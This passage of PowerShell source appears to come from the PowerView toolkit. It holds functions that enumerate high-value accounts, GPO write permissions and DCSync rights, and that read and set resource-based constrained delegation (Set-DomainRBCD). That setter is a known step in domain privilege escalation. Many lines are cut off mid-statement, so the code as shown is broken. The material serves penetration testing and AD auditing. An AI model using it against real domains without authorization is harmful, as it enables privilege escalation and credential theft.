$Searcher.SearchRoot = $Domain
$Searcher.Filter = $Filter
$Searcher.PageSize = $PageSize
$Searcher.SearchScope = "Subtree"
$listGPO = $Searcher.FindAll()
foreach ($gpo in $listGPO){
$ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -
if ($ACL -ne $null){
$GpoACL = New-Object psobject
$GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath
$GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname
$GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference
$GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights
$GpoACL
}
}
}
}
function Find-HighValueAccounts {
<#
.SYNOPSIS
Finds users that are currently high value accounts as AdminCount doesn't necessarily mean the privileg
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER SPN
Switch. Only return user objects with non-null service principal names.
.PARAMETER Enabled
Switch. Return accounts that are currently enabled.
.PARAMETER Disabled
Switch. Return accounts that are currently disabled.
.PARAMETER AllowDelegation
Switch. Return accounts that are not marked as 'sensitive and not allowed for delegation'
.PARAMETER DisallowDelegation
Switch. Return accounts that are marked as 'sensitive and not allowed for delegation'
.PARAMETER PassNotExpire
Switch. Return accounts whose passwords do not expire.
.PARAMETER Users
Switch. Return user accounts.
.PARAMETER Computers
Switch. Return computer accounts.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Find-HighValueAccounts -Enabled
Returns all enabled high value accounts.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments',
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ADObject')]
[OutputType('PowerView.ADObject.Raw')]
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
Param (
[Switch]
$SPN,
[Switch]
$Enabled,
[Switch]
$Disabled,
[Parameter(ParameterSetName = 'AllowDelegation')]
[Switch]
$AllowDelegation,
[Parameter(ParameterSetName = 'DisallowDelegation')]
[Switch]
$DisallowDelegation,
[Switch]
$PassNotExpire,
[Switch]
$Users,
[Switch]
$Computers,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
# array of high privileged groups from https://stealthbits.com/blog/fun-with-active-directorys-adminc
$AdminGroups = @(
'Account Operators',
'Administrators',
'Backup Operators',
'Cert Publishers',
'Domain Admins',
'Enterprise Admins',
'Enterprise Key Admins',
'Key Admins',
'Print Operators',
'Replicator',
'Schema Admins',
'Server Operators'
)
# variables
$IdentityFilter = ''
$Check = @()
}
PROCESS {
foreach ($AdminGroup in $AdminGroups) {
Get-DomainGroupMember $AdminGroup -Recurse @SearcherArguments | ?{$_.MemberObjec
if (((!($Users)) -And (!($Computers))) -Or ((($Users) -And ($_.MemberObjectClass -eq 'user'))
$MemberName = $_.MemberName
if (($MemberName) -and (($Check.Count -eq 0 ) -Or (!($Check.Contains($MemberName)))
$IdentityFilter += "(samaccountname=$MemberName)"
$Check += $MemberName
}
}
}
}
$Filter = "(|$IdentityFilter)"
# Additional filters
if ($PSBoundParameters['SPN']) {
Write-Verbose '[Find-HighValueAccounts] Searching for non-null service principal names'
$Filter += '(servicePrincipalName=*)'
}
if ($PSBoundParameters['Enabled']) {
Write-Verbose '[Find-HighValueAccounts] Searching for users who are enabled'
# negation of "Accounts that are disabled"
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=2))'
}
if ($PSBoundParameters['Disabled']) {
Write-Verbose '[Find-HighValueAccounts] Searching for users who are disabled'
# inclusion of "Accounts that are disabled"
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=2)'
}
if ($PSBoundParameters['AllowDelegation']) {
Write-Verbose '[Find-HighValueAccounts] Searching for users who can be delegated'
# negation of "Accounts that are sensitive and not trusted for delegation"
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048576))'
}
if ($PSBoundParameters['DisallowDelegation']) {
Write-Verbose '[Find-HighValueAccounts] Searching for users who are sensitive and not trusted
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048576)'
}
if ($PSBoundParameters['PassNotExpire']) {
Write-Verbose '[Find-HighValueAccounts] Searching for users whose passwords never expire'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=65536)'
}
$ObjectSearcher.filter = "(&$Filter)"
Write-Verbose "[Find-HighValueAccounts] Find-HighValueAccounts filter string: $($ObjectSearche
$Results = $ObjectSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Object = $_
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
}
else {
$Object = Convert-LDAPProperty -Properties $_.Properties
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
}
$Object
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Find-HighValueAccounts] Error disposing of the Results object: $_"
}
}
$ObjectSearcher.dispose()
}
}
function Get-DomainRBCD {
<#
.SYNOPSIS
Finds accounts that are configured for resource-based constrained delegation and returns configuration
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER Identity
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computer
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainRBCD
Returns the RBCD configuration for accounts in current domain.
#>
[OutputType([PSObject])]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('SamAccountName', 'Name', 'DNSHostName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$RBCDSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($RBCDSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Get-IdentityFilterString | ForEach-Object {
$IdentityFilter += $_
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
$Filter += '(msds-allowedtoactonbehalfofotheridentity=*)'
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainRBCD] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
if ($Filter -and $Filter -ne '') {
$RBCDSearcher.filter = "(&$Filter)"
}
Write-Verbose "[Get-DomainRBCD] Get-DomainRBCD filter string: $($RBCDSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $RBCDSearcher.FindOne() }
else { $Results = $RBCDSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Object = $_
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
}
else {
$Object = Convert-LDAPProperty -Properties $_.Properties
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
}
$r = $Object | select -expand msds-allowedtoactonbehalfofotheridentity
$d = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $r, 0
$d.DiscretionaryAcl | ForEach-Object {
$RBCDObject = New-Object PSObject
$RBCDObject | Add-Member "SourceName" $Object.samaccountname
$RBCDObject | Add-Member "SourceType" $Object.samaccounttype
$RBCDObject | Add-Member "SourceSID" $Object.objectsid
$RBCDObject | Add-Member "SourceAccountControl" $Object.useraccountcontrol
$RBCDObject | Add-Member "SourceDistinguishedName" $Object.distinguishedname
$RBCDObject | Add-Member "ServicePrincipalName" $Object.serviceprincipalname
$Delegated = Get-DomainObject $_.SecurityIdentifier
$RBCDObject | Add-Member "DelegatedName" $Delegated.samaccountname
$RBCDObject | Add-Member "DelegatedType" $Delegated.samaccounttype
$RBCDObject | Add-Member "DelegatedSID" $_.SecurityIdentifier
$RBCDObject | Add-Member "DelegatedAccountControl" $Delegated.useraccountcontrol
$RBCDObject | Add-Member "DelegatedDistinguishedName" $Delegated.distinguishednam
$RBCDObject
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainRBCD] Error disposing of the Results object: $_"
}
}
$RBCDSearcher.dispose()
}
}
}
function Set-DomainRBCD {
<#
.SYNOPSIS
Configure resource-based constrained delegation for accounts.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER Identity
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computer
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
.PARAMETER DelegateFrom
The accounts that are going to be allowed to delegate to this account(s) specified by Identity.
This can be a pipe '|' separated list.
.PARAMETER Clear
Remove the contents of the msds-allowedtoactonbehalfofotheridentity attribute.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Set-DomainRBCD Computer1 -DelegateFrom Computer2|Computer3
Configured RBCD on Computer1 to allow Computer2 and Computer3 delegation rights.
#>
[OutputType([bool])]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('SamAccountName', 'Name', 'DNSHostName')]
[String[]]
$Identity,
[String]
$DelegateFrom,
[Switch]
$Clear,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$RBCDSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($RBCDSearcher) {
$IdentityFilter = ''
$Filter = ''
# form SDDL string and resulting SD bytes
$SDDLString = ''
if ($PSBoundParameters['DelegateFrom']) {
$DelegateFilter = ''
$DelegateFrom.Split('|') | Get-IdentityFilterString | ForEach-Object {
$DelegateFilter += $_
Write-Verbose "[Set-DomainRBCD] Appending DelegateFilter: $_"
}
$RBCDSearcher.filter = "(|$DelegateFilter)"
Write-Verbose "[Set-DomainRBCD] Set-DomainRBCD filter string: $($RBCDSearcher.filter)"
$Results = $RBCDSearcher.FindAll()
if ($Results) {
$SDDLString = 'O:BAD:'
}
$Results | Where-Object {$_} | ForEach-Object {
$Object = Convert-LDAPProperty -Properties $_.Properties
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
$SDDLString += "(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($Object.objectsid))"
Write-Verbose "[Set-DomainRBCD] Appending to SDDL string: (A;;CCDCLCSWRPWPDTL
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Set-DomainRBCD] Error disposing of the Results object: $_"
}
}
Write-Verbose "[Set-DomainRBCD] Using SDDL string: $SDDLString"
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $SDDLStrin
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
}

$IdentityParts = $Identity -split '\\'


if ($IdentityParts.length -gt 1) {
$SearcherArguments['Domain'] = $IdentityParts[0]
$Identity = $IdentityParts[1]
}
$IdentitySearcher = Get-DomainSearcher @SearcherArguments
$Identity | Get-IdentityFilterString | ForEach-Object {
$IdentityFilter += $_
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter = "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Set-DomainRBCD] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
if ($Filter -and $Filter -ne '') {
$IdentitySearcher.filter = "(&$Filter)"
}
Write-Verbose "[Set-DomainRBCD] Set-DomainRBCD filter string: $($RBCDSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $RBCDSearcher.FindOne() }
else { $Results = $IdentitySearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Object = $_
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
$Entry = $Object.GetDirectoryEntry()
try {
Write-Verbose "[Set-DomainRBCD] Setting 'msds-allowedtoactonbehalfofotheridentity' to '$
if ($SDBytes) {
$Entry.put('msds-allowedtoactonbehalfofotheridentity', $SDBytes)
}
elseif ($PSBoundParameters['Clear']) {
$Entry.Properties['msds-allowedtoactonbehalfofotheridentity'].Clear()
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainRBCD] Error setting/replacing properties for object '$($Object.
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Set-DomainRBCD] Error disposing of the Results object: $_"
}
}
$RBCDSearcher.dispose()
}
}
}
function Get-IdentityFilterString {
<#
.SYNOPSIS
Helper function to retrieve the IdentityFilter string to avoid code duplication.
Pulled from @harmj0y's Get-DomainUser function.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER Identity
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computer
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
.EXAMPLE
Get-IdentityFilterString -Identity $Identity
Returns an LDAP search string for provided identites
#>
[OutputType([String])]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('SamAccountName', 'Name', 'DNSHostName')]
[String[]]
$Identity
)
BEGIN {
$SearcherArguments = @{}
}
PROCESS {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace '
Write-Verbose "[Get-IdentityFilterString] Extracted domain '$IdentityDomain' from '$Identity
#$SearcherArguments['Domain'] = $IdentityDomain
#if (-not $ObjectSearcher) {
#Write-Warning "[Get-IdentityFilterString] Unable to retrieve domain searcher for '$Identi
#}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToStrin
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-A
if ($ConvertedIdentityInstance) {
$ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.Ind
$ObjectName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$ObjectName)"
#$SearcherArguments['Domain'] = $ObjectDomain
Write-Verbose "[Get-IdentityFilterString] Extracted domain '$ObjectDomain' from '$IdentityI
}
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostn
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayna
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
$Filter
}
}
function Get-DomainDCSync {
<#
.SYNOPSIS
Finds accounts that have DCSync privileges.
Author: Charlie Clark (@exploitph), Alexander Sturz (@_61106960_)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER Users
Switch. Return user accounts.
.PARAMETER Computers
Switch. Return computer accounts.
.PARAMETER Groups
Switch. Return groups.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SSL
Switch. Specifies that encrypted LDAPS over port 636 is used.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainDCSync
Returns accounts that have DCSync privileges in current domain.
#>
[OutputType('PowerView.ADObject')]
[OutputType('PowerView.ADObject.Raw')]
[CmdletBinding()]
Param (
[Switch]
$Users,
[Switch]
$Computers,
[Switch]
$Groups,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Parameter()]
[Switch]
$SSL,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
$DNSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain; $DNSearcherAr
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server; $DNSearcherArgum
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $True; $DNSearcherArguments['S
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
$DomainDN = Get-DomainDN @DNSearcherArguments
Write-Verbose "[Get-DomainDCSync] Retrieved the domain distinguishedname: $DomainDN"
# Hash Table for storing DCSync privileges
$Privs = @{}
# Are any type filters set?
$NoType = $True
if ($PSBoundParameters['Users'] -or $PSBoundParameters['Computers'] -or $PSBoundParameter
$NoType = $False
}
# Loop through ACL on the domain head
Get-DomainObjectACL $DomainDN -RightsFilter DCSync @SearcherArguments | ForEach-Objec
$ACE = $_
$SID = $ACE.SecurityIdentifier.Value
$ADRights = $ACE.ActiveDirectoryRights
if ($ADRights -eq 'GenericAll' -or ($ADRights -eq 'ExtendedRight' -and !($ACE.ObjectAceType)
$Privs.$SID = @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04f
}
else {
$ACEType = $ACE.ObjectAceType.Guid
if (!($Privs.keys -contains $SID)) {
$Privs.Add($SID, @($ACEType))
}
elseif (!($Privs.$SID -contains $ACEType)) {
$Privs.$SID += $ACEType
}
}
}
# Initial account type filter
$Filter = ''
$TypeFilter = ''
$IdentityFilter = ''
if ($PSBoundParameters['Users']) {
$TypeFilter += '(samAccountType=805306368)'
}
if ($PSBoundParameters['Computers']) {
$TypeFilter += '(samAccountType=805306369)'
}
if ($PSBoundParameters['Groups']) {
$TypeFilter += '(objectCategory=group)'
}
if ($TypeFilter -and ($TypeFilter.Trim() -ne '')) {
$Filter = "(|$TypeFilter)"
}
else {
$Filter = '(|(samAccountType=805306368)(samAccountType=805306369))'
}
# Keep track of SIDs that have been added
$Check = @()
$Privs.keys | ForEach-Object {
if ($Privs.$_.Contains('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2') -and $Privs.$_.Contains('1131f
$Object = Get-DomainObject @SearcherArguments $_
if ($Object) {
$ObjectSID = $Object.objectsid
if ($Object.objectclass -contains 'group') {
if ($PSBoundParameters['Groups'] -and !($Check -contains $ObjectSID)) {
$IdentityFilter += "(objectsid=$ObjectSID)"
}
$Object | Get-DomainGroupMember -Recurse @SearcherArguments | ForEach-Object {
$MemberSID = $_.MemberSID
if ($_.MemberObjectClass -ne 'group' -and !($Check -contains $MemberSID)) {
if (($NoType) -Or ((($PSBoundParameters['Users']) -And ($_.MemberObjectClass -
$IdentityFilter += "(objectsid=$MemberSID)"
}
}
elseif (!($Check -contains $MemberSID)) {
if ($PSBoundParameters['Groups']) {
$IdentityFilter += "(objectsid=$MemberSID)"
}
}
$Check += $MemberSID
}
}
elseif (!($Check -contains $ObjectSID)) {
if (($NoType) -Or ((($PSBoundParameters['Users']) -And ($Object.samaccounttype -eq '
$IdentityFilter += "(objectsid=$ObjectSID)"
}
}
$Check += $ObjectSID
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainDCSync] Using additional LDAP filter: $LDAPFilter"
